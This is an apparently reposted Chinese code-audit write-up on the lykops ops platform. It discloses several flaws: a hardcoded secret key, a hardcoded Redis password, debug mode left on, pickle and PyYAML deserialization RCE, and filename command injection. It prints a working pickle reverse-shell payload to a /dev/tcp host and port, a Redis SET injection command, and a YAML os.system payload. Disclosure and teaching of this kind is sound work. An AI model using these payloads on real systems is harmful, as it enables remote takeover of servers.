某运维系统的代码审计笔记(Django+MongoDB+Redis)
2021-02-23 18:06:55 Author: xz.aliyun.com(查看原文) 阅读量:324 收藏

这套系统,是在某次行动的时候遇到的,当时是通过弱密码+后台命令注入来实现getshell。
后续觉得还蛮有意思,抽个周六审计了下,却发现在某些情况下居然可以直接前台RCE。。。
下面就介绍此次审计的过程。

系统名字叫:lykops运维系统

  • 默认账号、密码如下

    前台登录界面

    后台登陆后的界面

  • 数据库方面,不同于普通的Django+SQLite/MySQL方案,它使用的是MongoDB+Redis

    • Mongo里存用户数据
    • Redis作为缓存

在这种搭配下,攻击面就从单独的web,变成了web+2个服务。

假如你直接将这个项目repo clone下来直接使用,就会遭受默认配置所导致的风险。

Debug模式默认开启

不解释,在lykops/settings.py中,Debug默认是开启的。

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True

怎么利用呢?
——让django报错,进而泄露敏感信息!这里采用的是POST数组参数的方式,可以看到已经泄露了密码的Hash

密钥硬编码

源代码在这里,也是lykops/settings.py
https://github.com/lykops/lykops/blob/ed7e35d0c1abb1eacf7ab365e041347d0862c0a7/lykops/settings.py#L29

# lykops/settings.py
SECRET_KEY = '-mii=_9j2@!^7#lbjgo6=6930#@)dle18^wdj^b@xa68=-3bed'

原repo里的SECRET_KEY在上面,这个值按理说是在每一个Django项目创建之初的时候自动生成的,可是这里直接硬编码了,要是图省事不更改的话,就。。。事实上,十年前有洋人就讨论过这个问题,最佳实践=>distributing-django-projects-with-unique-secret-keys
话说回来,这个密钥的作用是啥呢,咱们先看看官方文档

没错,理论上可以用它来伪造签名!通过学习廖新喜前辈从Django的SECTET_KEY到代码执行 | xxlegend一文,自己也跟了一下django 1.11的源代码,得到以下结论

  • 在django1.6以下,session默认是采用pickle执行序列化操作,在1.6及以上版本默认采用json序列化。

  • 代码执行只存在于使用pickle序列化的操作中,即django<=1.6
  • 这类泄露密钥问题的利用工具:https://github.com/danghvu/pwp,蛮不错的的实现思路

总而言之,搭载django 1.11的目标环境,并不会因为密钥泄露而产生RCE的问题。不过当下的渗透角度来看,我并没有迫切需要研究身份伪造的需求(弱密码......),因此就暂不深入分析身份伪造的利用方案了。(个人习惯:喜欢实际遇到某一类问题后,再去想办法分析解决),有这方面了解的大佬,请不吝在评论区抬一手。

登录处的pickle反序列化漏洞!

逻辑分析

咱们先看看登录的路由,是^login.html,对应的逻辑是Login类的login函数

那么跟进login函数,其实反序列化这块,主要关注第81行就好。

第81行,传入了user=adminuser变量,咱们通过全局搜索变量名得到adminuser的值,默认是lykops
那么跟进get_userinfo,发现就是去redis中取用户的登录缓存

那么咱们想想看,用户数据,在Python的上下文中,存在的形式必然是Python对象;而在Redis中,储存形式很可能是字符串。至此,理解上都没问题吧?

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)

再进一步,Redis使用的字符串,要转换成Python中的对象,就必然存在反序列化的实现,若反序列化限制不当,就会存在漏洞——那它反序列化用的啥函数呢?
这个get的实现,在入参是fmt=obj时,会反序列化【从Redis中取得的字符串】,而反序列化函数,居然是用的pickle.loads

如果你还不了解Python的反序列化攻击,可以参考从零开始python反序列化攻击这篇帖子。
下面的图,是在Python cmdline中利用反序列化来命令执行的小demo

简单来说,咱们要做的,就是

  • 利用Python中class的__reduce__方法,在pickle反序列化的时候会被执行的特点,先构造恶意字符串,再通过反序列化造成命令执行。
  • pickle.loads的入参类型要求是Byte,而Redis取出的结果类型,默认也是Byte,因此无需额外的转码。
  • 实际利用中,只需要有Redis未授权访问,就咱们能通过覆写lykopsvalue的方式,传入恶意字符串让Python去反序列化,继而完成命令执行!

漏洞利用

生成payload的代码如下

#!/usr/bin/env python3
import pickle
import os

class py():
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/10.10.111.2/1337 0>&1',))

payload = pickle.dumps(py()) 
# b'\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03.'

下面演示攻击过程,首先利用硬编码的Redis密码1qaz2wsx去连接Redis,里面原本是有值滴,用户的hash可以拿去用hydra爆破,此处不多介绍。

写入用于反弹shell的恶意字符串

# 写入key
set lykops:userinfo "\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03."

# 查看key
get lykops:userinfo

# 重置key后续用于恢复网站
set lykops:userinfo 1

点击登录,触发RCE!

这里需要多说一句。由于某种原因,django会不停地去反序列化lykops:userinfo中的数据——这个过程是阻塞的,所以我们在拿到shell后,会看到网站卡死。为了恢复网站,就需要重置key。

看到这里,你就会发现这种利用思路,跟P牛的掌阅iReader某站Python漏洞挖掘 | 离别歌一文,还是蛮相似的对吧。没错,我之所以想到去关注这个点,正是脑海里想起了P牛那篇文章。年轻人要多向前辈学习; D

Python在反序列化YAML格式的内容时,存在反序列化漏洞。参考浅谈PyYAML反序列化漏洞一文,得到以下要点

  • 在PyYAML 5.1版本之前我们有以下反序列化方法:

load(data)
load(data, Loader=Loader)
load_all(data)
load_all(data, Loader=Loader)

  • yaml反序列化时,会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令~

因此,只要Python代码中存在yaml.load()且参数可控,则可以利用yaml反序列化来实现RCE。

逻辑分析

首先,在上一个问题的测试中,注意到一件事

Python会进行Yaml的语法检查,解析yaml文件很可能用的就是yaml.load
那么果断跟代码——全局搜yaml.load

外面有一个门面方法yaml_loader

没有过滤,而且一堆调用,那基本不用再跟了。
不过,还利用前,还要查看下版本,因为以PyYAML 5.1为界限,版本上、下的利用方式不太一样。
该项目是否指定了PyYAML的版本呢,查看requirements.txt

发现并未指定版本。那么就去本机上找

>>> python3 -m pip list |grep PyYAML
PyYAML   3.12

是Py3默认的PyYAML 3.12,符合最理想的反序列化情况,搞起!

漏洞利用

还是刚刚0x02中的上传点,只需构造以下内容发送即可

!!python/object/new:os.system ["sleep 2"]

RCE!

只不过这个命令执行的点,只执行一次命令,显得更加纯粹。

逻辑分析

全局搜索常见的命令执行函数

os\.system|os\.popen|subprocess\.|exec\(|commands\.|os\.spawn

看到一处有趣的点,直接传入了文件路径?

我们跟进到lykops/library/utils/file.py#248里的upload_file函数,可看到此处并没有任何过滤

那么file变量是从哪儿来的呢?
查看函数的调用,跟到import_upload,再往上追

最后在lykops/lykops/ansible/yaml.py#74发现了这个漏洞的入口点,file变量来自于咱们的HTTP请求,。
对应的路由是^ansible/yaml/import$
可以看到,如果上传时出错,则会调用两次import_file函数,也就是执行两遍命令。

漏洞利用

咱们直接访问,上传并抓包

更改文件名,完成命令注入。

在安装这套系统的时候,发现一开始可以添加管理员,

路由在这里

url(r'^user/create_admin', Login(mongoclient=mongoclient, redisclient=redisclient).create_admin, name='create_admin'),

那么查看创建管理员对应的实现代码

显然有问题。它先判断请求方式,如果是GET请求,就去MongoDB中查,当前是否存在超管用户(上面有提到默认值是lykops),如果不存在就渲染创建管理员的模板。
我的好开发,可再别写那么复杂了,POST请求,你压根就没鉴权。

但是但是,没注意后面强制指定了是去创建adminuser,实际根本就不能利用。。。


感谢观看!
这一波代码审计下来,getshell的姿势可谓多种多样;但不论怎样,核心都是运维/开发人员缺乏安全意识,贪图方便。
同时呢,我在其中也学习到了一些最佳实践,例如分发Django项目时动态引入SECRET_KEY时,最好使用系统的环境变量。
此外,假如再抬一下——升华到安全设计。从这个脆弱的项目,我又想到一个例子:想一想为什么宝塔面板的账号密码,不是保存在配置文件中,而是要求运行一条命令bt default才出得来呢?原因之一,不就是为了防止被类似本地任意文件读取的漏洞搞下来吗?
须知漏洞往往是串联起来发挥作用的,因此安全设计就是要想办法减少彼此之间的安全依赖——护城河失陷了,还有城门,城门破开了,还有哨兵。
所以,我个人感觉:学安全,除了要学安全技术,还不能忽略安全理念,举一反三,才能产生质变啊。


文章来源: http://xz.aliyun.com/t/9195
如有侵权请联系:admin#unsafe.sh